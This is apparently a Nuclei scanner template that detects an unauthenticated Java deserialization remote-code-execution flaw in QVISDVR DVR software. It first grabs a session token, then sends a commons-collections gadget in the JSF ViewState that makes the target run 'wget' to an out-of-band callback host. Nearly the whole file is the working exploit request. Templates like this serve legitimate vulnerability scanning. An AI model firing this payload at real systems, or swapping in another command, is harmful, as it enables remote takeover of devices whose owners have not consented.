id: qvisdvr-deserialization-rce info: name: QVISDVR JSF Deserialization - Remote Code Execution author: me9187 severity: critical description: | QVISDVR Java-Deserialization was discovered, which could allow remote code execution. reference: - https://twitter.com/Me9187/status/1414606876575162373 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 2 tags: qvisdvr,rce,deserialization,jsf,iot http: - raw: - | GET /qvisdvr/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - | POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} extractors: - type: regex name: token group: 1 internal: true part: header regex: - "JSESSIONID=(.*)" matchers-condition: and matchers: - type: word part: interactsh_protocol words: - http - type: status status: - 500 # digest: 490a0046304402200e9936a06281f147687033f7c60de3ff5000e7143af3cf5ddf2906f5459321bd0220172dd79bdca4f819ecf54566c167726e51b4e8c2859d928ced2d32d3d60e3824:922c64590222798bb761d5b6d8e72950